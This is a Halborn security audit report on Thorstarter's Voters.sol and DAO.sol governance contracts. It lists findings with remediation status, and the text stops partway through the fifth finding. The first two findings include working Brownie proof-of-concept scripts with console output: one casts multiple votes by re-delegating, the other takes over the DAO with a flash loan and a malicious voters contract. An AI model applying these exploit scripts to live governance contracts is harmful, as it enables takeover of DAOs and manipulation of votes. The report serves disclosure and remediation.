# THORSTARTER - GOVERNANCE

## Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **August 16th, 2021 - August 20th, 2021**

Visit: **Halborn.com**

# DOCUMENT REVISION HISTORY

| VERSION | MODIFICATION | DATE | AUTHOR |
|---|---|---|---|
| 0.1 | Document Creation | 07/16/2021 | Roberto Reigada |
| 0.9 | Document Updates | 08/18/2021 | Roberto Reigada |
| 1.0 | Document Updates | 08/25/2021 | Roberto Reigada |
| 1.0 | Final Review | 08/25/2021 | Gabi Urrutia |
| 1.1 | Remediation Plan | 08/26/2021 | Gabi Urrutia |

# CONTACTS

| CONTACT | COMPANY | EMAIL |
|---|---|---|
| Rob Behnke | Halborn | Rob.Behnke@halborn.com |
| Steven Walbroehl | Halborn | Steven.Walbroehl@halborn.com |
| Gabi Urrutia | Halborn | Gabi.Urrutia@halborn.com |
| Roberto Reigada | Halborn | Roberto.Reigada@halborn.com |

# EXECUTIVE OVERVIEW

## 1.1 INTRODUCTION

Thorstarter engaged Halborn to conduct a security assessment on multiple smart contracts beginning on August 16th, 2021 and ending August 20th, 2021. The security assessment was scoped to the Governance smart contract provided in the Github repository Thorstater repository

## 1.2 AUDIT SUMMARY

The team at Halborn was provided a week for the engagement and assigned a full time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

## 1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process,and implementation; automated testing techniques help enhance coverage of the bridge code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.

- Graphing out functionality and contract logic/connectivity/functions (solgraph)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Scanning of solidity files for vulnerabilities, security hotspots or bugs. (MythX)
- Static Analysis of security for scoped contract, and imported functions. (Slither)
- Testnet deployment (Remix IDE)

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident, and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. It's quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that was used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

**RISK SCALE - LIKELIHOOD**

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

**RISK SCALE - IMPACT**

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.

1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

| CRITICAL | HIGH | MEDIUM | LOW | INFORMATIONAL |
|---|---|---|---|---|

**10** - CRITICAL
**9 - 8** - HIGH
**7 - 6** - MEDIUM
**5 - 4** - LOW
**3 - 1** - VERY LOW AND INFORMATIONAL

## 1.4 SCOPE

IN-SCOPE:

The security assessment was scoped to the smart contract:

- Voters.sol

FIXED COMMIT ID: a8882d5b23204a44431533e1c369d5bb97988680

OUT-OF-SCOPE:

Other smart contracts in the repository, external libraries and economics attacks.

# 2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

| CRITICAL | HIGH | MEDIUM | LOW | INFORMATIONAL |
|---|---|---|---|---|
| 1 | 1 | 0 | 4 | 2 |

LIKELIHOOD

IMPACT

| | | | | |
|---|---|---|---|---|
| | | (HAL-02) | | (HAL-01) |
| | | | | |
| (HAL-05) | (HAL-03)<br>(HAL-04) | | | |
| (HAL-08) | | (HAL-06) | | |
| (HAL-07) | | | | |

| SECURITY ANALYSIS | RISK LEVEL | REMEDIATION DATE |
| --- | --- | --- |
| HAL01 - USER CAN VOTE MULTIPLE TIMES THROUGH DELEGATION | Critical | SOLVED - 08/26/2021 |
| HAL02 - DOS/CONTRACT TAKEOVER ON DAO.SOL CONTRACT | High | SOLVED - 08/26/2021 |
| HAL03 - DOS WITH BLOCK GAS LIMIT | Low | ACKNOWLEDGED |
| HAL04 - CONTRACT CAN BE LEFT WITHOUT ANY SNAPSHOTTER/KEEPER | Low | SOLVED - 08/26/2021 |
| HAL05 - INCOMPATIBILITY WITH INFLATIONARY TOKENS | Low | SOLVED - 08/26/2021 |
| HAL06 - LACK OF ZERO ADDRESS CHECK | Low | SOLVED - 08/26/2021 |
| HAL07 - CHECK VARIABLE IS NOT EQUAL TO ZERO | Informational | SOLVED - 08/26/2021 |
| HAL08 - MISSING REQUIRE STATEMENT | Informational | SOLVED - 08/26/2021 |

# FINDINGS & TECH DETAILS

## 3.1 (HAL-01) USER CAN VOTE MULTIPLE TIMES THROUGH DELEGATION - CRITICAL

Description:

The contract Voters.sol contains a function called delegate() which allows a user to delegate his voting power to another address. In the contract DAO.sol, there is a restriction that only allows a user to vote for a proposal once. This restriction can be bypassed by delegating the voting power into another address. Combining this vulnerability with the issue discribed in HAL02, an attacker would be able to take full control of the DAO.sol contract without needing a flash loan.

Code Location:

DAO.sol

**Listing 1: DAO.sol (Lines 185)**

```
182 function _vote(address voter, uint proposalId, uint optionId)
        private {
183     Proposal storage p = proposals[proposalId];
184     require(block.timestamp < p.endAt, "voting ended");
185     require(proposalVotes[proposalId][voter] == 0, "already voted"
        );
186     p.optionsVotes[optionId] = p.optionsVotes[optionId] + voters.
        votesAt(voter, p.snapshotId);
187     proposalVotes[proposalId][voter] = optionId + 1;
188     emit Voted(proposalId, voter, optionId);
189 }
```

Voters.sol

**Listing 2: Voters.sol**

```
159 function delegate(address delegatee) external {
160     UserInfo storage userInfo = _userInfos[msg.sender];
161     address currentDelegate = userInfo.delegate;
162     userInfo.delegate = delegatee;
```

```

    _updateSnapshot(_votesSnapshots[currentDelegate], votes(
       currentDelegate));
    _updateSnapshot(_votesSnapshots[delegatee],  votes(delegatee))
       ;
    uint amount = balanceOf(msg.sender);
    _votes[currentDelegate] -= amount;
    _votes[delegatee] += amount;

    emit DelegateChanged(msg.sender, currentDelegate, delegatee);
}
```

Proof of Concept:

1. User1 has 49 voting power
2. User2 has 10 voting power, which means he would need 5 votes to beat User1
3. User2 creates a proposal
4. User1 votes to reject it
5. User2 votes to approve it (1st vote)
6. User2 delegates his voting power to Address3
7. Address3 votes to approve it (2nd vote)
8. Address3 delegates back to User2 his voting power
9. User2 delegates his voting power to Address4
10. Address4 votes to approve it (3rd vote)
11. Address4 delegates back to User2 his voting power
12. User2 delegates his voting power to Address5
13. Address5 votes to approve it (4th vote)
14. Address5 delegates back to User2 his voting power
15. User2 delegates his voting power to Address6
16. Address6 votes to approve it (5th vote)
17. Proposal is accepted and executed

**Listing 3: Proof of Concept using Brownie (Lines 94,97,100,105)**

```
1 # Deploying test Token contracts
2 >>> accounts[0].deploy(XRuneToken)
3 >>> accounts[0].deploy(OfferingToken)
```

```

# Deploying contract Voters.sol - constructor(address _owner, address _token, address _sushiLpToken)
>>> accounts[0].deploy(Voters, accounts[0].address, XRuneToken[0].address, OfferingToken[0].address)

# Deploying contract DAO.sol - constructor(address _voters, uint _minBalanceToPropose, uint _minPercentQuorum, uint _minVotingTime, uint _minExecutionDelay)
>>> accounts[0].deploy(DAO, Voters[0].address, 10, 0, 0, 0)

# Adding DAO contract as a snapshotter of Voters.sol
>>> Voters[0].toggleSnapshotter(DAO[0].address)

# user1 49% of voting power
>>> user1 = accounts[1]
>>> XRuneToken[0].transfer(user1.address, 49)
>>> XRuneToken[0].approve(Voters[0].address, 49, {'from': user1})
>>> Voters[0].lock(49, {'from': user1})

# user2 10% of voting power
>>> user2 = accounts[2]
>>> XRuneToken[0].transfer(user2, 10)
>>> XRuneToken[0].approve(Voters[0].address, 10, {'from': user2})
>>> Voters[0].lock(10, {'from': user2})

# Voting power
>>> print("votes(user1) -> " + str(Voters[0].votes(user1)))
votes(user1) -> 49
>>> print("votes(user2) -> " + str(Voters[0].votes(user2)))
votes(user2) -> 10

# User2 creates a proposal that calls DAO.setMinBalanceToPropose(1337)
>>> encoded_setMinBalanceToPropose = DAO.signatures['setMinBalanceToPropose'] + eth_abi.encode_abi(['uint256',], (1337,)).hex()
>>> bytes_setMinBalanceToPropose = to_bytes(encoded_setMinBalanceToPropose,'bytes')
>>> actionBytes = eth_abi.encode_abi(['address', 'uint', 'bytes'], (DAO[0].address, 0, bytes_setMinBalanceToPropose)).hex()
>>> proposalID = DAO[0].propose("Title", "Description", 10000, 100, ["For", "Against"], [[actionBytes], []], {'from': user2})
>>> proposalID = proposalID.return_value
```

FINDINGS & TECH DETAILS

```
>>> print("ProposalID -> " + str(proposalID) + "\n")
ProposalID -> 1

# User1 votes to reject the proposal. He has the 49% of the total
    voting power
>>> DAO[0].vote(proposalID, 1, {'from': user1})

# user2 votes to approve his own proposal. He only has 10% of the
    total voting power. So he would need 5 votes to beat user1
    decision

# 1st vote
>>> DAO[0].vote(proposalID, 0, {'from': user2})

# user2 delegates his voting power to accounts[3] and accounts[3]
    votes to approve the proposal
>>> Voters[0].delegate(accounts[3], {'from': user2})
>>> print("accounts[3] - Voters[0].votesAt(accounts[3],1) -> " +
    str(Voters[0].votesAt(accounts[3],1)))
accounts[3] - Voters[0].votesAt(accounts[3],1) -> 10

# 2nd vote
>>> DAO[0].vote(proposalID, 0, {'from': accounts[3]})

# accounts[3] delegates his voting power back to User2
>>> Voters[0].delegate(user2, {'from': accounts[3]})

# user2 delegates his voting power to accounts[4] and accounts[4]
    votes to approve the proposal
>>> Voters[0].delegate(accounts[4], {'from': user2})
>>> print("accounts[4] - Voters[0].votesAt(accounts[4],1) -> " +
    str(Voters[0].votesAt(accounts[4],1)))
accounts[4] - Voters[0].votesAt(accounts[4],1) -> 10

# 3rd vote
>>> DAO[0].vote(proposalID, 0, {'from': accounts[4]})

# accounts[4] delegates his voting power back to User2
>>> Voters[0].delegate(user2, {'from': accounts[4]})

# user2 delegates his voting power to accounts[5] and accounts[5]
    votes to approve the proposal
>>> Voters[0].delegate(accounts[5], {'from': user2})
>>> print("accounts[5] - Voters[0].votesAt(accounts[5],1) -> " +
```

```
    str(Voters[0].votesAt(accounts[5],1)))
accounts[5] - Voters[0].votesAt(accounts[5],1) -> 10

# 4th vote
>>> DAO[0].vote(proposalID, 0, {'from': accounts[5]})

# accounts[5] delegates his voting power back to User2
>>> Voters[0].delegate(user2, {'from': accounts[5]})

# user2 delegates his voting power to accounts[6] and accounts[6]
    votes to approve the proposal
>>> Voters[0].delegate(accounts[6], {'from': user2})
>>> print("accounts[6] - Voters[0].votesAt(accounts[6],1) -> " +
    str(Voters[0].votesAt(accounts[6],1)))
accounts[6] - Voters[0].votesAt(accounts[6],1) -> 10

# 5th vote
>>> DAO[0].vote(proposalID, 0, {'from': accounts[6]})

# Sleep 24 hours so we can execute the proposal
>>> chain.sleep(86401)

>>> print("minBalanceToPropose before executing the proposal -> "
    + str(DAO[0].minBalanceToPropose()) + "\n")
minBalanceToPropose before executing the proposal -> 10

# accounts[6] executes the proposal
>>> DAO[0].execute(proposalID, {'from': accounts[6]})
Transaction sent: 0xc59618b9bda4804ef117a5c4ac2720...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 1
  DAO.execute confirmed   Block: 13093650   Gas used: 76867
      (1.14%)

<Transaction '0xc59618b9bda4804ef117a5c4ac2720...'>

>>> print("minBalanceToPropose after executing the proposal -> " +
     str(DAO[0].minBalanceToPropose()))
minBalanceToPropose after executing the proposal -> 1337
```

Risk Level:

**Likelihood - 5**

**Impact - 5**

Recommendation:

It is recommended checking if the delegator voted the proposal before calling delegate() function, so that the user who receives the voting power can not vote the same proposal again.

Remediation Plan:

**SOLVED**: Thorstarter Team modified the function function _valueAt() in the Voters.sol contract so when the function delegate() is called the voting power contained in a snapshot is not affected.

## 3.2 (HAL-02) DOS/CONTRACT TAKEOVER ON DAO.SOL CONTRACT - HIGH

Description:

DAO.sol contract allows the creation of different proposals including the following features:

- Add support for pools: multiple options per proposal instead of just a for/against
- Support multiple actions per option. So multiple transactions can be executed by one proposal
- Use a “voters” contract to snapshot voting power, the address used can be updated. The voting power is based on the locked XRUNE (vXRUNE/voting token).
- Can reconfigure its own parameters: minBalanceToPropose, minPercentQuorum, minVotingTime, minExecutionDelay
- The ‘execute’ method can be called by anybody if the proposal is passed and not yet executed

Based on this, by doing a flash loan an attacker could:
- Case 1: Cause a DOS in the contract
- Case 2: Take total control of the DAO.sol contract

The DAO.sol contract makes use of this Voters.sol contract to handle the voting for the different proposals, and as such, we have included this vulnerability in the report.

Case 1: Cause a DOS in the contract - Manual test:

In this case we have followed these steps to cause a DOS in the contract:

1. Perform a flash loan of XRUNEs and lock all those XRUNEs tokens so we obtain more than the 50% of the total voting power
2. Create a proposal which calls Voters.toggleSnapshotter(DAO address)

3. Return the flash loan
4. Give it our vote
5. Execute it

This way, the contract DAO.sol will lose the snapshotters role in the Voters contract which is required to create a new proposal. Right after this call, no new proposals can be created.

**Listing 4: DOS through toggleSnapshotter() (Lines 64,67,76)**

```
# Deploying test Token contracts
>>> accounts[0].deploy(XRuneToken)
>>> accounts[0].deploy(OfferingToken)

# Deploying contract Voters.sol - constructor(address _owner,
    address _token, address _sushiLpToken)
>>> accounts[0].deploy(Voters, accounts[0].address, XRuneToken[0].
    address, OfferingToken[0].address)

# Deploying contract DAO.sol - constructor(address _voters, uint
    _minBalanceToPropose, uint _minPercentQuorum, uint
    _minVotingTime, uint _minExecutionDelay)
>>> accounts[0].deploy(DAO, Voters[0].address, 10, 0, 0, 0)

# DAO contract should be a snapshotter of Voters.sol
>>> Voters[0].toggleSnapshotter(DAO[0].address)

# Example users
## user1 33% of voting power
>>> user1 = accounts[1]
>>> XRuneToken[0].transfer(user1.address, 33)
>>> XRuneToken[0].approve(Voters[0].address, 33, {'from': user1})
>>> Voters[0].lock(33, {'from': user1})

## user2 16% of voting power
>>> user2 = accounts[2]
>>> XRuneToken[0].transfer(user2, 16)
>>> XRuneToken[0].approve(Voters[0].address, 16, {'from': user2})
>>> Voters[0].lock(16, {'from': user2})

# attacker comes and performs a flash loan of XRUNE tokens to get
    51% of the voting power
>>> attacker = accounts[9]
```

```
>>> XRuneToken[0].transfer(attacker, 51)
>>> XRuneToken[0].approve(Voters[0].address, 51, {'from': attacker})
>>> Voters[0].lock(51, {'from': attacker})

# Voting power
>>> print("votes(user1) -> " + str(Voters[0].votes(user1)))
votes(user1) -> 33
>>> print("votes(user2) -> " + str(Voters[0].votes(user2)))
votes(user2) -> 16
>>> print("votes(attacker) -> " + str(Voters[0].votes(attacker)))
votes(attacker) -> 51

# Attacker creates a proposal that calls Voters.toggleSnapshotter(DAO's address)
>>> encoded_toggleSnapshotter = Voters.signatures['toggleSnapshotter'] + eth_abi.encode_abi(['address',], (DAO[0].address,)).hex()
>>> bytes_toggleSnapshotter = to_bytes(encoded_toggleSnapshotter,'bytes')
>>> actionBytes = eth_abi.encode_abi(['address', 'uint', 'bytes'], (Voters[0].address, 0, bytes_toggleSnapshotter)).hex()
>>> proposalID = DAO[0].propose("Title", "Description", 10000, 100, ["For", "Against"], [[actionBytes], []], {'from': attacker})
>>> proposalID = proposalID.return_value
>>> proposalID
1

# Attacker returns the flash loan
>>> Voters[0].unlock(51, {'from': attacker})

# Attacker votes for his proposal
>>> DAO[0].vote(proposalID, 0, {'from': attacker})

# The other users vote to reject the proposal
>>> DAO[0].vote(proposalID, 1, {'from': user1})
>>> DAO[0].vote(proposalID, 1, {'from': user2})

# After 24 hours...
>>> chain.sleep(86401)

# Attacker executes the self-approved proposal
>>> DAO[0].execute(proposalID, {'from': attacker})
```

```
Transaction sent: 0xdb6533a7eeb2426681ac4eab6dc638...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 5
  DAO.execute confirmed   Block: 13061360   Gas used: 63783 (0.95%)

<Transaction '0xdb6533a7eeb2426681ac4eab6dc638...'>


# Now another user comes and tries to create a new proposal
>>> DAO[0].propose("Title", "Description", 10000, 100, ["For", "Against"], [[], []], {'from': user1})
Transaction sent: 0x6449063f2cc6b237dd5f7693a76c7e...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 3
  DAO.propose confirmed (not snapshotter)   Block: 13061361   Gas used: 30712 (0.46%)

<Transaction '0x6449063f2cc6b237dd5f7693a76c7e...'>
```

Case 2: Take total control of the DAO.sol contract - Manual test:

For this case we have followed these steps to take control of the DAO contract:

1. Create a malicious contract called EvilVoters.sol with the same structure and similar code as the current Voters.sol contract
2. Initialize the EvilVoters.sol contract with our own fake tokens
3. Add the DAO.sol contract address as an snapshotter of our malicious contract
4. Perform a flash loan of XRUNEs and lock all those XRUNE tokens so we obtain more than the 50% of the total voting power
5. Create a proposal which calls DAO.setVoters(EvilVoters.sol's address )
6. Return the flash loan
7. Give it our vote
8. Execute it

After the proposal is executed the new voters contract will be our malicious contract. In this contract, we are the only ones that have tokens which give us total control over the DAO contract to propose and execute anything.

**Listing 5: DAO Contract takeover through DAO.setVoters() (Lines 100,103,162,165)**

```
# Deploying test Token contracts...
>>> accounts[0].deploy(XRuneToken)
>>> accounts[0].deploy(OfferingToken)

# Deploying contract Voters.sol - constructor(address _owner,
    address _token, address _sushiLpToken)
>>> accounts[0].deploy(Voters, accounts[0].address, XRuneToken[0].
    address, OfferingToken[0].address)

# Deploying contract DAO.sol - constructor(address _voters, uint
    _minBalanceToPropose, uint _minPercentQuorum, uint
    _minVotingTime, uint _minExecutionDelay)
>>> accounts[0].deploy(DAO, Voters[0].address, 10, 0, 0, 0)

# Adding DAO contract as a snapshotter of Voters.sol
>>> Voters[0].toggleSnapshotter(DAO[0].address)

# Example users
## user1 33% of voting power
### Giving user 1 33% of the voting power
>>> user1 = accounts[1]
>>> XRuneToken[0].transfer(user1.address, 33)
>>> XRuneToken[0].approve(Voters[0].address, 33, {'from': user1})
>>> Voters[0].lock(33, {'from': user1})

## user2 16% of voting power
### Giving user 2 16% of the voting power
>>> user2 = accounts[2]
>>> XRuneToken[0].transfer(user2, 16)
>>> XRuneToken[0].approve(Voters[0].address, 16, {'from': user2})
>>> Voters[0].lock(16, {'from': user2})

## attacker creates a new Voters.sol contract with his own fake
    tokens which are FakeToken1 and FakeToken2
>>> attacker = accounts[9]
### Deploying FakeToken contracts...
>>> attacker.deploy(FakeToken1)
>>> attacker.deploy(FakeToken2)
```

```

### deploying malicious Voters contract...
>>> attacker.deploy(Voters, attacker.address, FakeToken1[0].address, FakeToken2[0].address)

### Adding DAO contract as a snapshotter of the malicious Voters.sol
>>> Voters[1].toggleSnapshotter(DAO[0].address)

## Voters[0] -> Original voters contract
## Voters[1] -> Malicious voters contract created by the attacker
### Attacker locks 1000000 FakeTokens1 in the malicious voters contract
>>> FakeToken1[0].transfer(attacker, 1000000)
>>> FakeToken1[0].approve(Voters[1].address, 1000000, {'from': attacker})
>>> Voters[1].lock(1000000, {'from': attacker})
>>> print("Attacker voting power in the malicious voters contract -> " + str(Voters[1].votes(attacker)) + "\n")
Attacker voting power in the malicious voters contract -> 1000000

## attacker comes and performs a flash loan of XRUNE tokens to get 51% of the voting power in the original voters contract
>>> XRuneToken[0].transfer(attacker, 51)
>>> XRuneToken[0].approve(Voters[0].address, 51, {'from': attacker})
>>> Voters[0].lock(51, {'from': attacker})

# Voting power
>>> print()
print("Voting power in the original voters contract")
print("votes(user1) -> " + str(Voters[0].votes(user1)))
print("votes(user2) -> " + str(Voters[0].votes(user2)))
print("votes(attacker) -> " + str(Voters[0].votes(attacker)))
print()
print("Voting power in the malicious voters contract")
print("votes(user1) -> " + str(Voters[1].votes(user1)))
print("votes(user2) -> " + str(Voters[1].votes(user2)))
print("votes(attacker) -> " + str(Voters[1].votes(attacker)))
print()

Voting power in the original voters contract
votes(user1) -> 33
votes(user2) -> 16
```

```
votes(attacker) -> 51

Voting power in the malicious voters contract
votes(user1) -> 0
votes(user2) -> 0
votes(attacker) -> 1000000

# Attacker creates a proposal that calls setVoters(Malicious voters contract address)
>>> encoded_setVoters = DAO.signatures['setVoters'] + eth_abi.encode_abi(['address',], (Voters[1].address,)).hex()
>>> bytes_setVoters = to_bytes(encoded_setVoters,'bytes')
>>> actionBytes = eth_abi.encode_abi(['address', 'uint', 'bytes'], (DAO[0].address, 0, bytes_setVoters)).hex()
>>> proposalID = DAO[0].propose("Title", "Description", 10000, 100, ["For", "Against"], [[actionBytes], []], {'from': attacker})
>>> print("ProposalID -> " + str(proposalID) + "\n")
ProposalID -> 1

# Attacker returns the flash loan. This is done before voting for its own proposal, as the voting power used by the smart contract is the voting power that the users had at the time of the proposal creation
>>> Voters[0].unlock(51, {'from': attacker})

# Attacker votes to approve his own proposal
>>> DAO[0].vote(proposalID, 0, {'from': attacker})

# The other users vote to reject the proposal
>>> DAO[0].vote(proposalID, 1, {'from': user1})
>>> DAO[0].vote(proposalID, 1, {'from': user2})

# After 24 hours...
>>> chain.sleep(86401)

# Attacker executes the proposal
>>> DAO[0].execute(proposalID, {'from': attacker})
Transaction sent: 0xca6d0d8e67b51644c81535b2435303e...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 12
  DAO.execute confirmed   Block: 13069245   Gas used: 77831 (1.16%)

<Transaction '0xca6d0d8e67b51644c81535b2435303e...'>
```

```
## Let's give now a lot of voting power to the user1 and user2
>>> XRuneToken[0].transfer(user1, 500000000e10)
>>> XRuneToken[0].approve(Voters[0].address, 500000000e10, {'from': user1})
>>> Voters[0].lock(500000000e10, {'from': user1})
>>> XRuneToken[0].transfer(user2, 500000000e10)
>>> XRuneToken[0].approve(Voters[0].address, 500000000e10, {'from': user2})
>>> Voters[0].lock(500000000e10, {'from': user2})

# Voting power
>>> print()
print("Voting power in the original voters contract")
print("votes(user1) -> " + str(Voters[0].votes(user1)))
print("votes(user2) -> " + str(Voters[0].votes(user2)))
print("votes(attacker) -> " + str(Voters[0].votes(attacker)))
print()
print("Voting power in the malicious voters contract")
print("votes(user1) -> " + str(Voters[1].votes(user1)))
print("votes(user2) -> " + str(Voters[1].votes(user2)))
print("votes(attacker) -> " + str(Voters[1].votes(attacker)))
print()

Voting power in the original voters contract
votes(user1) -> 5000000000000000033
votes(user2) -> 5000000000000000016
votes(attacker) -> 0

Voting power in the malicious voters contract
votes(user1) -> 0
votes(user2) -> 0
votes(attacker) -> 1000000

## attacker creates a new proposal to setMinBalanceToPropose to 1000000
>>> encoded_setMinBalanceToPropose = DAO.signatures['setMinBalanceToPropose'] + eth_abi.encode_abi(['uint256',], (1000000,)).hex()
>>> bytes_setMinBalanceToPropose = to_bytes(encoded_setMinBalanceToPropose,'bytes')
>>> actionBytes = eth_abi.encode_abi(['address', 'uint', 'bytes'], (DAO[0].address, 0, bytes_setMinBalanceToPropose)).hex()
>>> proposalID = DAO[0].propose("Title", "Description", 10000,
```

```
    100, ["For", "Against"], [[actionBytes], []], {'from': attacker})
>>> proposalID = proposalID.return_value
>>> print("Second proposal created by the attacker - ProposalID -> " + str(proposalID) + "\n")
Second proposal created by the attacker - ProposalID -> 2

# Attacker votes to approve it
>>> DAO[0].vote(proposalID, 0, {'from': attacker})

# User1 and user2 vote to reject it
>>> DAO[0].vote(proposalID, 0, {'from': user1})
>>> DAO[0].vote(proposalID, 0, {'from': user2})

# Finish the voting period
>>> chain.sleep(86401)

# We check the minBalanceToPropose before executing the proposal
>>> print("minBalanceToPropose before executing the proposal -> " + str(DAO[0].minBalanceToPropose()) + "\n")
minBalanceToPropose before executing the proposal -> 10

# Execute the proposal
>>> DAO[0].execute(proposalID, {'from': attacker})
Transaction sent: 0x5cdb022231acb822c48c4ffe8c58aab675...
  Gas price: 0.0 gwei   Gas limit: 6721975   Nonce: 15
  DAO.execute confirmed   Block: 13069256   Gas used: 76851 (1.14%)

<Transaction '0x5cdb022231acb822c48c4ffe8c58aab675...'>

# Get the value of minBalanceToPropose after executing the proposal
>>> print("minBalanceToPropose after executing the proposal -> " + str(DAO[0].minBalanceToPropose()))
minBalanceToPropose after executing the proposal -> 1000000
```

Risk Level:

**Likelihood - 3**
**Impact - 5**

Recommendation:

In the current Voters.sol contract, the tokens locked should take a fixed period of time before they grant voting power. If a malicious user performs a flash loan of XRUNE tokens and locks them, they will not get their voting power increased before they have to return the flash loan. So, it is recommended not allowing to lock() and unlock() XRUNE in the same transaction.

Remediation Plan:

**SOLVED**: Thorstarter Team rightly implemented a fix to mitigate the risk of flash loans by not allowing to lock() unlock() XRUNE in the same transaction.

# 3.3 (HAL-03) DOS WITH BLOCK GAS LIMIT - LOW

## Description:

When smart contracts are deployed or functions inside them are called, the execution of these actions always require a certain amount of gas, based on how much computation is needed to complete them. The Ethereum network specifies a block gas limit and the sum of all transactions included in a block cannot exceed the threshold. Programming patterns that are harmless in centralized applications can lead to Denial of Service conditions in smart contracts when the cost of executing a function exceeds the block gas limit. In this contract, the function updateTclp() iterates over an array of users of unknown size, which is passed as a parameter of the function. If this array is big enough, the transaction could reach the block gas limit and would not be completed.

## Code Location:

**Listing 6: Voters.sol (Lines 265)**

```
262 function updateTclp(address[] calldata users, uint[] calldata
      amounts, uint[] calldata values) public {
263     require(tcLpKeepers[msg.sender], "not tcLpKeeper");
264     require(users.length == amounts.length && users.length ==
          values.length, "length");
265     for (uint i = 0; i < users.length; i++) {
266         address user = users[i];
267         UserInfo storage userInfo = _userInfo(user);
268         _updateSnapshot(_totalSupplySnapshots, totalSupply);
269         _updateSnapshot(_balancesSnapshots[user], balanceOf(user))
              ;
270         _updateSnapshot(_votesSnapshots[userInfo.delegate], votes(
              userInfo.delegate));
271 
272         uint previousValue = userInfo.lockedTcLpValue;
273         totalSupply = totalSupply - previousValue + values[i];
274         _votes[userInfo.delegate] = _votes[userInfo.delegate] -
              previousValue + values[i];
```

```
            userInfo.lockedTcLpValue = values[i];
            userInfo.lockedTcLpAmount = amounts[i];
            if (previousValue < values[i]) {
                emit Transfer(address(0), user, values[i] -
                    previousValue);
            } else if (previousValue > values[i]) {
                emit Transfer(user, address(0), previousValue - values
                    [i]);
            }

            // Add to historicalTcLpsList for keepers to use
            if (!historicalTcLps[user]) {
              historicalTcLps[user] = true;
              _historicalTcLpsList.push(user);
            }
        }
}
```

Risk Level:

**Likelihood - 2**
**Impact - 3**

Recommendation:

Actions that require looping across the entire data structure should be avoided. If you use loop over an array of unknown size, you should plan for it to potentially take multiple blocks, and therefore require multiple transactions. In this case, the size of the users array should be limited to a fixed maximum value.

Remediation Plan:

**ACKNOWLEDGED**: Thorstarter Team accepts this risk because the updateTclp() function can only be called by someone with a Keeper role.

# 3.4 (HAL-04) CONTRACT CAN BE LEFT WITHOUT ANY SNAPSHOTTER/KEEPER - LOW

## Description:

The contract contains two functions called toggleSnapshotter() and toggleTcLpKeeper(). These functions can be only called by an already snapshotter/keeper respectively. If there is just one snapshotter or keeper and it calls these functions with its own address, the contract would be left without any snapshotter/keeper and it would never be able to have any snapshotter/keeper again. If this happens, proposals would never work in the DAO.sol contract, as this contract requires the snapshotter role and there would be no way to add it.

## Code Location:

**Listing 7: Voters.sol (Lines 114,119)**

```
112 function toggleSnapshotter(address user) external {
113     require(snapshotters[msg.sender], "not snapshotter");
114     snapshotters[user] = !snapshotters[user];
115 }
116
117 function toggleTcLpKeeper(address user) external {
118     require(tcLpKeepers[msg.sender], "not tsLpKeeper");
119     tcLpKeepers[user] = !tcLpKeepers[user];
120 }
```

## Risk Level:

**Likelihood - 2**
**Impact - 3**

Recommendation:

Use OpenZeppelin Access Control library to manage the different roles of the contracts. Using this OpenZeppelin library the roles can be granted and revoked dynamically via the grantRole and revokeRole functions. Each role has an associated admin role, and only accounts that have a role's admin role can call grantRole and revokeRole.

Remediation Plan:

**SOLVED**: Thorstarter Team successfully added the OpenZeppelin Access Control library into the Voters.sol contract.

# 3.5 (HAL-05) INCOMPATIBILITY WITH INFLATIONARY TOKENS - LOW

Description:

In multiple functions Thorstarter uses OpenZeppelin's safeTransferFrom and safeTransfer to handle the token transfers. These functions call transferFrom and transfer internally in the token contract to actually execute the transfer. However, since the actual amount transferred i.e. the delta of previous (before transfer) and current (after transfer) balance is not verified, a malicious user may list a custom ERC20 token with the transferFrom or transfer function modified in such a way that it e.g. does not transfer any tokens at all and the attacker is still going to have their liquidity pool tokens minted anyway. In this case both tokens are set in the constructor by the creator of the contract, so they are trusted, but it would be still a good practice to perform this check.

Code Location:

Voters.sol

**Listing 8: Voters.sol**

```
token.safeTransferFrom(msg.sender, address(this), amount);
```

**Listing 9: Voters.sol**

```
token.safeTransfer(msg.sender, amount);
```

**Listing 10: Voters.sol**

```
sushiLpToken.safeTransferFrom(msg.sender, address(this), lpAmount)
    ;
```

Listing 11: Voters.sol

```
sushiLpToken.safeTransfer(msg.sender, lpAmount);
```

Listing 12: Voters.sol

```
token.safeTransferFrom(msg.sender, address(this), amount);
```

OpenZeppelin

Listing 13: Library SafeERC20 (Lines 20,25,28,34)

```
17 library SafeERC20 {
18     using Address for address;
19 
20     function safeTransfer(
21         IERC20 token,
22         address to,
23         uint256 value
24     ) internal {
25         _callOptionalReturn(token, abi.encodeWithSelector(token.
               transfer.selector, to, value));
26     }
27 
28     function safeTransferFrom(
29         IERC20 token,
30         address from,
31         address to,
32         uint256 value
33     ) internal {
34         _callOptionalReturn(token, abi.encodeWithSelector(token.
               transferFrom.selector, from, to, value));
35     }
```

Risk Level:

